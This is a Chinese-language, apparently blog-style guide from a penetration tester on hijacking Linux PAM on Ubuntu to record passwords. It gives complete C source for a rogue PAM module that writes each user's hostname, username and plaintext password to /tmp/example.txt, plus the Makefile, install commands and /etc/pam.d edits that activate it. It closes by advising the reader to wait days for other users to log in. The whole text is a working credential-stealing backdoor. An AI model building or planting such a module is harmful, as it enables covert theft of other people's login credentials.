.so 劫持 PAM 监听密码
最近渗透遇见个主机,想通过劫持 PAM 监听密码来获取密码
本文章适用于 Ubuntu,其他系统的不同之处可参考下文中的介绍做相应处理
本文章仅介绍操作方法,原理可见下面这篇文章
centos 可见:利用Linux-PAM记录密码
该文章不适用于 Ubuntu 等系统,因此写下本文章
任意目录新建 ssh.c:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| #include <stdio.h> #include <stdlib.h> #include <string.h> #include <security/pam_appl.h> #include <security/pam_modules.h> #include <security/pam_ext.h> #include <unistd.h>
#define STOREPATH "/tmp/example.txt"
PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv ) { return PAM_SUCCESS; }
PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) { return PAM_SUCCESS; }
PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv ) { int retval; const char* username; const char* password; char hostname[128];
retval = pam_get_user(pamh, &username, "Username: "); if (retval != PAM_SUCCESS) { return retval; }
retval = pam_get_authtok(pamh,PAM_AUTHTOK,&password,NULL); if (retval != PAM_SUCCESS) { return retval; }
gethostname(hostname, sizeof hostname);
FILE *fp = NULL; fp = fopen(STOREPATH, "a+"); fprintf(fp, "%s:%s:%s\n",hostname,username,password); fclose(fp);
return PAM_SUCCESS; }
|
同目录下新建 Makefile,写入:
1 2 3 4
| CFLAGS += -Werror -Wall
ssh.so: ssh.c gcc $(CFLAGS) -fPIC -shared -Xlinker -x -o $@ $<
|
运行如下代码
1 2 3
| apt-get install libpam0g-dev make cp ssh.so /usr/lib/x86_64-linux-gnu/security/
|
1:其它系统可搜索PAM开发包
或者 xxx 系统的libpam0g-dev
pam-devel
包
2:其它系统可查询/etc/pam.d/是否存在,不存在可以 bing 下类似作用的文件夹
然后查看common-auth
common-account
文件
一般命令结果第一个就是 security 的目录
然后
1
| cp ssh.so /path/to/security
|
在/etc/pam.d/common-auth 中 option 部分中添加一行
如果/etc/pam.d/common-account 不存在则将下面那行代码和上面那行代码放一块即可
/etc/pam.d/common-account 同理
exit 退出再 ssh 登陆下或者其他需要密码的操作皆可
然后查看/tmp/example.txt 中是否成功记录
成功记录后等待其他用户登录该机器即可,隔几天登录查看下/tmp/example.txt